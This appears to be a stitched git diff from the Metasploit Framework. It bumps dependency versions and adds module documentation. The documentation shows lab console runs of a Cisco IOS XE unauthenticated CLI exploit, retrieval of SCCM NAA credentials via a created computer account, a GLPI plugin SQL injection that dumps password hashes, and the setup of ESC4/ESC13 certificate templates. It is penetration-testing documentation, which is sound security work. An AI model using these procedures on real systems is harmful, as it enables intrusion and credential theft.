date, 3.4.1, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
dnsruby, 1.72.2, "Apache 2.0"
diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
dnsruby, 1.72.4, "Apache 2.0"
docile, 1.4.1, MIT
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
drb, 2.2.1, "ruby, Simplified BSD"
@@ -52,9 +52,9 @@ ed25519, 1.3.0, MIT
elftools, 1.3.1, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.3, MIT
erubi, 1.13.0, MIT
erubi, 1.13.1, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.5.0, MIT
factory_bot, 6.5.1, MIT
factory_bot_rails, 6.4.4, MIT
faker, 3.5.1, MIT
faraday, 2.7.11, MIT
@@ -71,51 +71,50 @@ gyoku, 1.4.0, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.4.2, "Apache 2.0"
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.7, MIT
http-cookie, 1.0.8, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.14.6, MIT
io-console, 0.7.2, "ruby, Simplified BSD"
httpclient, 2.9.0, ruby
i18n, 1.14.7, MIT
io-console, 0.8.0, "ruby, Simplified BSD"
irb, 1.7.4, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.7.5, ruby
language_server-protocol, 3.17.0.3, MIT
json, 2.10.2, ruby
language_server-protocol, 3.17.0.4, MIT
little-plugger, 1.1.4, MIT
logger, 1.6.1, "ruby, Simplified BSD"
logger, 1.6.6, "ruby, Simplified BSD"
logging, 2.4.0, MIT
loofah, 2.23.1, MIT
macaddr, 1.7.2, ruby
loofah, 2.24.0, MIT
memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.3, "New BSD"
metasploit-credential, 6.0.11, "New BSD"
metasploit-framework, 6.4.52, "New BSD"
metasploit-concern, 5.0.4, "New BSD"
metasploit-credential, 6.0.12, "New BSD"
metasploit-framework, 6.4.56, "New BSD"
metasploit-model, 5.0.2, "New BSD"
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.6, "New BSD"
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
method_source, 1.1.0, MIT
mime-types, 3.6.0, MIT
mime-types-data, 3.2024.1001, MIT
mime-types-data, 3.2025.0304, MIT
mini_portile2, 2.8.8, MIT
minitest, 5.25.1, MIT
minitest, 5.25.5, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 3.0.3, MIT
mutex_m, 0.2.0, "ruby, Simplified BSD"
mutex_m, 0.3.0, "ruby, Simplified BSD"
nessus_rest, 0.1.6, MIT
net-imap, 0.5.0, "ruby, Simplified BSD"
net-imap, 0.5.6, "ruby, Simplified BSD"
net-ldap, 0.19.0, MIT
net-protocol, 0.2.2, "ruby, Simplified BSD"
net-sftp, 4.0.0, MIT
net-smtp, 0.5.0, "ruby, Simplified BSD"
net-smtp, 0.5.1, "ruby, Simplified BSD"
net-ssh, 7.3.0, MIT
network_interface, 0.0.4, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.7.4, "MIT, Simplified BSD"
nokogiri, 1.18.2, MIT
nokogiri, 1.18.3, MIT
nori, 2.7.1, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
@@ -124,69 +123,69 @@ openvas-omp, 0.0.4, MIT
ostruct, 0.6.1, "ruby, Simplified BSD"
packetfu, 2.0.0, "New BSD"
parallel, 1.26.3, MIT
parser, 3.3.5.0, MIT
parser, 3.3.7.1, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.3, LGPL-2.1
pdf-reader, 2.12.0, MIT
pdf-reader, 2.14.1, MIT
pg, 1.5.9, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 6.0.1, MIT
puma, 6.4.3, "New BSD"
puma, 6.6.0, "New BSD"
racc, 1.8.1, "ruby, Simplified BSD"
rack, 2.2.10, MIT
rack, 2.2.13, MIT
rack-protection, 3.2.0, MIT
rack-test, 2.1.0, MIT
rack-test, 2.2.0, MIT
rails-dom-testing, 2.2.0, MIT
rails-html-sanitizer, 1.6.0, MIT
railties, 7.0.8.6, MIT
rails-html-sanitizer, 1.6.2, MIT
railties, 7.0.8.7, MIT
rainbow, 3.1.1, MIT
rake, 13.2.1, MIT
rasn1, 0.13.0, MIT
rasn1, 0.14.0, MIT
rb-readline, 0.5.5, BSD
recog, 3.1.11, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.9.2, MIT
reline, 0.5.10, ruby
recog, 3.1.14, unknown
redcarpet, 3.6.1, MIT
regexp_parser, 2.10.0, MIT
reline, 0.6.0, ruby
require_all, 3.0.0, MIT
rex-arch, 0.1.16, "New BSD"
rex-bin_tools, 0.1.9, "New BSD"
rex-arch, 0.1.18, "New BSD"
rex-bin_tools, 0.1.10, "New BSD"
rex-core, 0.1.32, "New BSD"
rex-encoder, 0.1.7, "New BSD"
rex-exploitation, 0.1.40, "New BSD"
rex-java, 0.1.7, "New BSD"
rex-mime, 0.1.8, "New BSD"
rex-nop, 0.1.3, "New BSD"
rex-ole, 0.1.8, "New BSD"
rex-powershell, 0.1.100, "New BSD"
rex-random_identifier, 0.1.13, "New BSD"
rex-registry, 0.1.5, "New BSD"
rex-rop_builder, 0.1.5, "New BSD"
rex-socket, 0.1.58, "New BSD"
rex-sslscan, 0.1.10, "New BSD"
rex-struct2, 0.1.4, "New BSD"
rex-text, 0.2.59, "New BSD"
rex-zip, 0.1.5, "New BSD"
rexml, 3.3.9, "Simplified BSD"
rex-encoder, 0.1.8, "New BSD"
rex-exploitation, 0.1.41, "New BSD"
rex-java, 0.1.8, "New BSD"
rex-mime, 0.1.11, "New BSD"
rex-nop, 0.1.4, "New BSD"
rex-ole, 0.1.9, "New BSD"
rex-powershell, 0.1.101, "New BSD"
rex-random_identifier, 0.1.15, "New BSD"
rex-registry, 0.1.6, "New BSD"
rex-rop_builder, 0.1.6, "New BSD"
rex-socket, 0.1.59, "New BSD"
rex-sslscan, 0.1.11, "New BSD"
rex-struct2, 0.1.5, "New BSD"
rex-text, 0.2.60, "New BSD"
rex-zip, 0.1.6, "New BSD"
rexml, 3.4.1, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.13.0, MIT
rspec-core, 3.13.2, MIT
rspec-core, 3.13.3, MIT
rspec-expectations, 3.13.3, MIT
rspec-mocks, 3.13.2, MIT
rspec-rails, 7.0.1, MIT
rspec-rails, 7.1.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.13.1, MIT
rspec-support, 3.13.2, MIT
rubocop, 1.67.0, MIT
rubocop-ast, 1.33.0, MIT
rubocop-ast, 1.38.1, MIT
ruby-macho, 4.1.0, MIT
ruby-mysql, 4.1.0, MIT
ruby-mysql, 4.2.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.3.13, "New BSD"
rubyntlm, 0.6.5, MIT
rubyzip, 2.3.2, "Simplified BSD"
rubyzip, 2.4.1, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.13.1, MIT
@@ -196,22 +195,20 @@ sqlite3, 1.7.3, "New BSD"
sshkey, 3.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
systemu, 2.6.5, ruby
test-prof, 1.4.2, MIT
test-prof, 1.4.4, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.3.2, MIT
tilt, 2.4.0, MIT
tilt, 2.6.0, MIT
timecop, 0.9.10, MIT
timeout, 0.4.1, "ruby, Simplified BSD"
timeout, 0.4.3, "ruby, Simplified BSD"
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2024.2, MIT
tzinfo-data, 1.2025.1, MIT
unicode-display_width, 2.6.0, MIT
unix-crypt, 1.3.1, 0BSD
uuid, 2.3.9, MIT
warden, 1.2.9, MIT
webrick, 1.8.2, "ruby, Simplified BSD"
websocket-driver, 0.7.6, "Apache 2.0"
webrick, 1.9.1, "ruby, Simplified BSD"
websocket-driver, 0.7.7, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
windows_error, 0.1.5, BSD
@@ -219,4 +216,4 @@ winrm, 2.3.9, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.3, "ruby, Simplified BSD"
yard, 0.9.37, MIT
zeitwerk, 2.6.18, MIT
zeitwerk, 2.7.2, MIT
@@ -387,3 +387,12 @@ queries:
references:
- https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers
- https://trustedsec.com/blog/diving-into-pre-created-computer-accounts
- action: ENUM_SCCM_MANAGEMENT_POINTS
description: 'Find all registered SCCM/MECM management points'
filter: '(objectclass=mssmsmanagementpoint)'
attributes:
- cn
- dNSHostname
- msSMSSiteCode
references:
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
Binary file not shown.
+19413 -50741
View File
File diff suppressed because it is too large Load Diff
+2 -1
View File
@@ -10,7 +10,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
ActiveRecord::Schema[7.0].define(version: 2025_02_04_172657) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@@ -314,6 +314,7 @@ ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "jtr_format"
t.jsonb "metadata", default: {}, null: false
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_pkcs12", unique: true, where: "((type)::text = 'Metasploit::Credential::Pkcs12'::text)"
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT (((type)::text = 'Metasploit::Credential::SSHKey'::text) OR ((type)::text = 'Metasploit::Credential::Pkcs12'::text)))"
+4 -4
View File
@@ -17,15 +17,15 @@ GEM
byebug (11.1.3)
coderay (1.1.3)
colorator (1.1.0)
concurrent-ruby (1.3.4)
concurrent-ruby (1.3.5)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
eventmachine (1.2.7)
ffi (1.17.0)
ffi (1.17.1)
forwardable-extended (2.6.0)
http_parser.rb (0.8.0)
i18n (1.14.6)
i18n (1.14.7)
concurrent-ruby (~> 1.0)
jekyll (4.3.4)
addressable (~> 2.4)
@@ -76,7 +76,7 @@ GEM
rb-fsevent (0.11.2)
rb-inotify (0.11.1)
ffi (~> 1.0)
rexml (3.4.0)
rexml (3.4.1)
rouge (4.5.1)
safe_yaml (1.0.5)
sassc (2.4.0)
@@ -892,7 +892,7 @@ In the following example the AUTO mode is used to issue a certificate for the MS
authenticated.
```msf
msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 172.30.239.85
msf6 auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85
msf6 auxiliary(server/relay/esc8) > run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/relay/esc8) >
@@ -34,7 +34,15 @@ The vulnerable IOS XE versions are:
17.11.99SW
## Testing
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
This module was tested against the following IOS XE versions:
| IOS XE Version | Appliance Series |
|----------------|------------------|
| 16.12.3 | CSR1000v |
| 17.03.02 | CSR1000v |
| 17.06.05 | C8000v |
To test this module you will need to either:
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
@@ -87,6 +95,7 @@ modes are `user`, `privileged`, and `global`.
## Scenarios
### IOS XE 16.12.03 (CSR1000v)
```
msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57
@@ -169,4 +178,85 @@ msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show
*15:24:05.110 UTC Fri Nov 3 2023
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
```
### IOS XE 17.06.05 (C8000v)
```
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options
Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD show version yes The CLI command to execute.
MODE privileged yes The mode to execute the CLI command in, valid values are 'user', 'privileged', or 'global'.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.108 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
[*] Running module against 192.168.86.108
Cisco IOS XE Software, Version 17.06.05
Cisco IOS Software [Bengaluru], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 17.6.5, RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2023 by Cisco Systems, Inc.
Compiled Wed 25-Jan-23 16:07 by mcpre
Cisco IOS-XE software, Copyright (c) 2005-2023 by cisco Systems, Inc.
All rights reserved. Certain components of Cisco IOS-XE software are
licensed under the GNU General Public License ("GPL") Version 2.0. The
software code licensed under GPL Version 2.0 is free software that comes
with ABSOLUTELY NO WARRANTY. You can redistribute and/or modify such
GPL code under the terms of GPL Version 2.0. For more details, see the
documentation or "License Notice" file accompanying the IOS-XE software,
or the applicable URL provided on the flyer accompanying the IOS-XE
software.
ROM: IOS-XE ROMMON
test_c800v uptime is 1 hour, 43 minutes
Uptime for this control processor is 1 hour, 44 minutes
System returned to ROM by reload
System image file is "bootflash:packages.conf"
Last reload reason: reload
This product contains cryptographic features and is subject to United
States and local country laws governing import, export, transfer and
use. Delivery of Cisco cryptographic products does not imply
third-party authority to import, export, distribute or use encryption.
Importers, exporters, distributors and users are responsible for
compliance with U.S. and local country laws. By using this product you
agree to comply with applicable laws and regulations. If you are unable
to comply with U.S. and local laws, return this product immediately.
A summary of U.S. laws governing Cisco cryptographic products may be found at:
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html
If you require further assistance please contact us by sending email to
export@cisco.com.
License Level:
License Type: Perpetual
Next reload license Level:
Addon License Level:
Addon License Type: Subscription
Next reload addon license Level:
The current throughput level is 10000 kbps
Smart Licensing Status: Registration Not Applicable/Not Applicable
cisco C8000V (VXE) processor (revision VXE) with 2027875K/3075K bytes of memory.
Processor board ID 9VM6T5CQNTE
Router operating mode: Autonomous
3 Gigabit Ethernet interfaces
32768K bytes of non-volatile configuration memory.
3965316K bytes of physical memory.
11526144K bytes of virtual hard disk at bootflash:.
Configuration register is 0x2102
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
[*] Running module against 192.168.86.108
*17:36:50.722 UTC Mon Mar 3 2025
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
```
@@ -31,6 +31,9 @@ The vulnerable IOS XE versions are:
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
17.11.99SW
NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
## Testing
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
@@ -0,0 +1,150 @@
## NAA Credential Exploitation
The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but
in practice is often misconfigured to have excessive privileges.
The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However,
it can also be requested by an existing computer account, which by default most user accounts are able to create.
## Module usage
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
1. From msfconsole
2. Do: `use auxiliary/admin/dcerpc/samr_account`
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
4. Run the module and see that a new machine account was added
Then the `auxiliary/admin/sccm/get_naa_credentials` module can be used:
1. `use auxiliary/admin/sccm/get_naa_credentials`
2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used)
3. Set the `USERNAME` and `PASSWORD` information to a domain account
4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module
5. Run the module to obtain the NAA credentials, if present.
Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery:
1. `use auxiliary/admin/sccm/get_naa_credentials`
2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module
3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values.
4. Run the module to obtain the NAA credentials, if present.
The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action.
See the Scenarios for a more detailed walk through
## Options
### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST
Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery.
### COMPUTER_USER, COMPUTER_PASSWORD
Credentials for a computer account (may be created with the `samr_account` module). If you've retrieved the NTLM hash of
a computer account, you can use that for COMPUTER_PASSWORD.
### MANAGEMENT_POINT
The SCCM server.
### SITE_CODE
The Site Code of the management point.
## Scenarios
In the following example the user `ssccm.lab\eve` is a low-privilege user.
### Creating computer account
```
msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou
[*] Running module against 192.168.33.10
[*] 192.168.33.10:445 - Adding computer
[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-2KVDWNZ3$
[+] 192.168.33.10:445 - Password: pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj
[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128
[*] Auxiliary module execution completed
```
### Running with Autodiscovery
Using the credentials just obtained with the `samr_account` module.
```
msf6 auxiliary(admin/sccm/get_naa_credentials) > options
Module options (auxiliary/admin/sccm/get_naa_credentials):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPUTER_PASS yes The password of the provided computer account
COMPUTER_USER yes The username of a computer account
MANAGEMENT_POINT no The management point (SCCM server) to use
SITE_CODE no The site code to use on the management point
SSL false no Enable SSL on the LDAP connection
VHOST no HTTP server virtual host
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN no The domain to authenticate to
PASSWORD no The password to authenticate with
RHOSTS no The domain controller (for autodiscovery). Not required if providing a management point and site code
RPORT 389 no The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code (TCP)
USERNAME no The username to authenticate with
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/sccm/get_naa_credentials) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj
[*] Running module against 192.168.33.10
[*] Discovering base DN automatically
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
[+] Found Management Point: MECM.sccm.lab (Site code: P01)
[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E
[*] Waiting 5 seconds for SCCM DB to update...
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
[*] Auxiliary module execution completed
```
### Manual discovery
```
msf6 auxiliary(gather/ldap_query) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou
[*] Running module against 192.168.33.10
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab
CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab
=========================================================================
Name Attributes
---- ----------
cn SMS-MP-P01-MECM.SCCM.LAB
dnshostname MECM.sccm.lab
mssmssitecode P01
[*] Query returned 1 result.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_credentials
msf6 auxiliary(admin/sccm/get_naa_credentials) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01
[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E
[*] Waiting 5 seconds for SCCM DB to update...
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
[*] Auxiliary module execution completed
```
@@ -0,0 +1,154 @@
## Vulnerable Application
GLPI <= 1.0.18 fails to properly sanitize user supplied data when sent inside a `SimpleXMLElement`
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
data from the backend database such as usernames and password hashes.
In order for GLPI to be exploitable the GLPI Inventory plugin must be installed and enabled, and the "Enable Inventory"
radio button inside the administration configuration also must be checked.
### Setup on Ubuntu 22.04
Install PHP dependencies:
```
sudo add-apt-repository ppa:ondrej/php
sudo apt install apache2 php8.3 php8.3-curl php8.3-zip php8.3-gd php8.3-intl \
php8.3-intl php-pear php8.3-imagick php-bz2 php8.3-imap php-memcache php8.3-pspell \
php8.3-tidy php8.3-xmlrpc php8.3-xsl php8.3-mbstring php8.3-ldap php-cas php-apcu \
libapache2-mod-php8.3 php8.3-mysql mariadb-server
```
Ensure mariadb and apache are installed and running:
```
sudo systemctl status apache2
sudo systemctl status mariadb
```
Run the mysql secure installation script, input defaults and your desired username password:
```
sudo mysql_secure_installation
```
Connect to the database:
```
sudo mysql -u root -p
```
Create a database user `msfuser` and a database named `glpi`:
```
CREATE USER 'msfuser'@'localhost' IDENTIFIED BY 'notpassword';
CREATE DATABASE glpi;
GRANT ALL PRIVILEGES ON glpi.* TO 'msfuser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
```
Download the vulnerable version of GLPI, extract it and move it to `/var/www/html`:
```
wget https://github.com/glpi-project/glpi/releases/download/10.0.17/glpi-10.0.17.tgz
tar -xvf glpi-10.0.17.tgz
sudo mv glpi /var/www/html/
```
Download the vulnerable inventory plugin:
```
cd /var/www/html/glpi/plugins
sudo wget https://github.com/glpi-project/glpi-inventory-plugin/releases/download/1.4.0/glpi-glpiinventory-1.4.0.tar.bz2
sudo tar -xvjf glpi-glpiinventory-1.4.0.tar.bz2
```
Set the necessary permissions:
```
sudo chmod 755 -R /var/www/html/
sudo chown www-data:www-data -R /var/www/html/
```
Edit sites-available:
```
sudo vim /etc/apache2/sites-available/glpi.conf
```
Paste:
```
<VirtualHost *:80>
ServerAdmin admin@your_domain.com
DocumentRoot /var/www/html/glpi
ServerName your-domain.com
<Directory /var/www/html/glpi>
Options FollowSymlinks
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/your-domain.com_error.log
CustomLog ${APACHE_LOG_DIR}/your-domain.com_access.log combined
</VirtualHost>
```
Create the following symlink, rewrite and restart:
```
sudo ln -s /etc/apache2/sites-available/glpi.conf /etc/apache2/sites-enabled/glpi.conf
sudo a2enmod rewrite
sudo systemctl restart apache2
```
The application should be now available at `http://127.0.0.1/glpi`, navigate there in a browser to complete the setup wizard.
Warnings in the `Checking of the compatibility of your environment with the execution of GLPI` can be ignored, click continue.
It will ask you for the database credentials created above, input them and select the `glpi` database created above.
Once complete you'll be brought to a login page, authenticate using the default credentials `glpi`/`glpi`.
On the left hand side select and expand `Administration` in the dropdown select `Inventory`.
On the right hand side select `Enable Inventory`, then `Save` at the bottom.
On the left hand side select and expand `Setup` in the dropdown select `Plugins`.
Near the bottom of the screen find the `GLPI Inventory` plugin and under `Actions` click the install button (Folder icon with `+` symbol).
After installing the plugin a pop up will appear in the bottom right and ask if you want to enable the plugin, enable it.
Now the application should be vulnerable.
## Options
### DB_COLUMNS
The number of columns in the database. Can vary between versions, adjust this if exploit does not work initially.
### MAX_ENTRIES
The maximum number of entries to dump from the database. More entries will increase module runtime.
## Verification Steps
1. Start msfconsole.
1. Do: `use gather/glpi_inventory_plugin_unauth_sqli`.
1. Set the `RHOST`.
1. Set `MAX_ENTRIES` to `1` to speed up module run time for verification.
1. Run the module.
1. Receive a table with one username and it's corresponding password hash.
## Scenarios
### GLPI 10.0.17 running on Ubuntu 22.04
```
msf6 > use gather/glpi_inventory_plugin_unauth_sqli
msf6 auxiliary(gather/glpi_inventory_plugin_unauth_sqli) > set rhost 172.16.199.130
rhost => 172.16.199.130
msf6 auxiliary(gather/glpi_inventory_plugin_unauth_sqli) > exploit
[*] Reloading module...
[*] Running module against 172.16.199.130
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Extracting credential information
glpi_users
==========
name password api_token
---- -------- ---------
Plugin_GLPI_Inventory 39
glpi $2y$10$ci01zoEXHWOfoxietd8ry.2K6Y3wR5bc1dZQiftuFM5hqQtPgD6LS
glpi-system
normal $2y$10$iaxy0646EhwsuBbjAgme4uJN6SN.pbyK.ciTCnep67Wq8x.qt1JvS
post-only $2y$10$//Ca44JjRIV/9Hv1IEM1y.v1aEa3FwzytX4QYtKsxyqF/rnOzROei
tech $2y$10$KjaOxGSyd0CMifvDVNiggOxCVHP0g8jER/jLtZsmF54S63LH5GWIy
[*] Auxiliary module execution completed
```
@@ -79,6 +79,58 @@ a normal user account by analyzing the objects in LDAP.
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
1. The certificate should now be available to be issued by the CA server.
### Setting up a ESC4 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC4-Template`, then click `Apply`.
1. Go to the `Security` tab.
1. Under `Groups or usernames` select `Authenticated Users`
1. Under `Permissions for Authenticated Users` select `Write` -> `Allow`.
1. Click `Apply` and then click `OK` to issue the certificate.
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder.
1. Click `New` followed by `Certificate Template to Issue`.
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
1. The certificate should now be available to be issued by the CA server.
### Setting up a ESC13 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC13`, then click `Apply`.
1. Go to the `Extensions` tab, click the Issuance Policies entry, click the `Add` button, click the `New...` button.
1. Name the new issuance policy `ESC13-Issuance-Policy`.
4. Copy the Object Identifier as this will be needed later (ex: 11.3.6.1.4.1.311.21.8.12682474.6065318.6963902.6406785.3291287.83.1172775.12545198`).
1. Leave the CPS location field blank.
1. Click `Apply`.
1. Open Active Directory Users and Computers, expand the domain on the left hand side.
1. Right click `Users` and navigate to New -> Group.
1. Enter `ESC13-Group` for the Group Name.
1. Select `Universal` for Group scope and `Security` for Group type.
1. Click `Apply`.
1. Open ADSI Edit.
1. In the left hand side right click `ADSI Edit` and select `Connect to...`.
1. Under `Select a well known naming context` select `Default naming context`.
1. Select the newly established connection, select the domain, select `CN=User`.
1. On the right hand side find the recently created security group `CN=ESC13-Group`, right click select properties.
1. Copy the value of the `distinguishedName` attribute, save this as we'll need it later.
1. Back on the left hand side establish another connection, right click `ADSI Edit` and select `Connect to...`.
1. This time under `Select a well known naming context` select `Configuration`.
1. Select the newly established connection, select the domain, select `CN=Services` -> `CN=Public Key Services` -> `CN=OID`.
1. In the right hand side find the object that corresponds to the Object Identifier saved earlier.
1. The OID saved earlier ended in `12545198`, the object on the right will start with `CN=12545198.` followed by 34 hex characters. ex: `CN=12545198.7BCA239924D9515E63EA6B6F00748837`).
1. Once located right click -> properties, select `msDS-OIDToGroupLink`.
1. Paste the `distingushedName` of the security group saved above (ex: `CN=ESC13-Group,CN=Users,DC=demo,DC=lab`).
1. Click `Apply`.
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder.
1. Click `New` followed by `Certificate Template to Issue`.
1. Scroll down and select the `ESC13-Template` certificate, and select `OK`.
1. The certificate should now be available to be issued by the CA server.
### Setting up a ESC15 Vulnerable Certificate Template
1. ESC15 depends on the schema version of the template being version 1 - which can no longer be created so we will edit an existing template that is schema version 1.
